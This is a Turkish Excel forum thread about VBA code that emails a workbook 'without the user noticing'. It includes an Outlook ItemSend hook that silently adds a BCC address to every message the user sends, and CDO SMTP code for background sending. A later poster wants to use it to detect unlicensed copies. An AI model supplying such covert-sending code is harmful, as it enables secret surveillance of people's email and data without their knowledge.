Gizli mail gönderme

Katılım
3 Ekim 2013
Mesajlar
39
Excel Vers. ve Dili
Excel 2007 Türkçe
Merhaba,

Çalışma sayfasını, kullandığım makronun içine ekleyeceğim bir kodla, Hotmail üzerinden ekrandaki kullanıcıya hissettirmeden mail eki olarak atmak istiyorum..


Forumda bu konuyla ilgili okumadığım konu-mesaj kalmadı..fakat çözüme ulaşamadım..
 

Zeki Gürsoy

Uzman
Uzman
Katılım
31 Aralık 2005
Mesajlar
4,384
Excel Vers. ve Dili
Office 365 (64 bit) - Türkçe
HTTP kullanarak bunu yapmak çok zahmetli. Kullanıcının bilgisayarında (eğer yüklüyse) outlook progrmında bir kereye mahsus hotmail hesabı ekleyin. Gerisi 3-5 satırlık kod...

Amacınız spy türü bir kod hazırlamak değilse, en stabil ve kolay çözümü önerdim size. ;)
 
Katılım
3 Ekim 2013
Mesajlar
39
Excel Vers. ve Dili
Excel 2007 Türkçe
Teşekkür ederim. Spy türü değil, dosyanın kullanım amacı; kasa ve şirketin muhtelif giderlerini tuttuğum bir excel çalışması..Bu forumdan öğrendiklerimle, tam istediğim gibi bir çalışma oldu.

Kullanıcı bu çalışma sayfasını, rapor olarak zaten gönderecek fakat benim amacım, sayfa içerisindeki makroya bir ilave kod yazarak, periyodik aralıklarla çalışmayı yedek alıp mail göndermek..yedek alma konusunu hallettim. Maksat, gelir ve giderlerde sonradan değişiklik yapılmasını engellemek, daha doğrusu denetlemek..

Engellemek için alabildiğim önlemleri aldım fakat, makrodan, vb kodlarından anlayan birinin, bu önlemleri aşabilmesi çok kolay olduğundan, en güvenli yolun bu olduğuna kanaat getirdim.

Dediğiniz şekilde outlook'ta mail hesabı açtım. Forumdaki konulardan çok araştırdım, uğraştım fakat hep bir yanı eksik kaldı. Kodları kendime göre bir türlü uyarlayamadım.
 
Katılım
3 Ekim 2013
Mesajlar
39
Excel Vers. ve Dili
Excel 2007 Türkçe
Projem yarım kaldı..Yardımcı olabilecek arkadaşa acayip teşekkür ederim :mrgreen:
 

abdullahss

Altın Üye
Katılım
6 Kasım 2006
Mesajlar
176
Excel Vers. ve Dili
türkçe
Altın Üyelik Bitiş Tarihi
05-04-2026
bu şekilde denermisiniz.
Kod:
Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
Dim objMe As Recipient
Set objMe = Item.Recipients.Add("örnek@kfgfdkgfjdkg.com")
objMe.Type = olBCC
objMe.Resolve
Set objMe = Nothing
End Sub
 
Katılım
3 Ekim 2013
Mesajlar
39
Excel Vers. ve Dili
Excel 2007 Türkçe
bu şekilde denermisiniz.
Kod:
Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
Dim objMe As Recipient
Set objMe = Item.Recipients.Add("örnek@kfgfdkgfjdkg.com")
objMe.Type = olBCC
objMe.Resolve
Set objMe = Nothing
End Sub

Herhangi bir referans eklemem gerekir mi?
 
Katılım
20 Ekim 2005
Mesajlar
486
s.a.

Abdullahss yukarıda vermiş olduğunuz kodların nasıl kullanılacağı hakkında biraz bilgi verirrseniz memnun olurum. Zira biraz ticari hazırlanmış bir dosyam var. bunun kaçak kullanıldığının bana bilgi vermesi amaçlı olarak kullanacağım kodları
 

Korhan Ayhan

Administrator
Yönetici
Admin
Katılım
15 Mart 2005
Mesajlar
43,013
Excel Vers. ve Dili
Microsoft 365 Tr-En 64 Bit

abdullahss

Altın Üye
Katılım
6 Kasım 2006
Mesajlar
176
Excel Vers. ve Dili
türkçe
Altın Üyelik Bitiş Tarihi
05-04-2026
Herhangi bir referans eklemem gerekir mi?
Kodlari nereye nasil yazdigimi ekteki resimden görebilirsiniz.

bendeki referanslarda
-Visual Basic For Applications
-Microsoft Outlook 12,0 Object Library
-OLE Automation
-Microsoft Office 12.0 Objetc Library
-Microsoft Forms 2.0 Object Library
 

Ekli dosyalar

Katılım
26 Ocak 2007
Mesajlar
4,625
Excel Vers. ve Dili
Ofis 2016
Altın Üyelik Bitiş Tarihi
20-02-2025
İlginç bir konu. Deneyeceğim. teşekkürler
 

abdullahss

Altın Üye
Katılım
6 Kasım 2006
Mesajlar
176
Excel Vers. ve Dili
türkçe
Altın Üyelik Bitiş Tarihi
05-04-2026
Merhaba,

Çalışma sayfasını, kullandığım makronun içine ekleyeceğim bir kodla, Hotmail üzerinden ekrandaki kullanıcıya hissettirmeden mail eki olarak atmak istiyorum..


Forumda bu konuyla ilgili okumadığım konu-mesaj kalmadı..fakat çözüme ulaşamadım..
hotmail kodları

Kod:
Sub HotmailYolla()
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
gonderilecekmailler = "xxxxxxxxxx"
mailadresim = "xxxxxxxxxxxxxx"
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.live.com"
Flds.Item(schema & "smtpserverport") = 587
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = mailadresim
Flds.Item(schema & "sendpassword") = "xxxxxxxxxx"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = gonderilecekmailler
.From = "xxxxxxxxx <" & mailadresim & ">"
.Subject = "xxxxxxxxxx"
.HTMLBody = "<h2>Www.xxxx.com</h2><br><br>Bu posta xxxxx  yollanmıştır."
Set .Configuration = iConf
.Send
End With
End Sub
 
Üst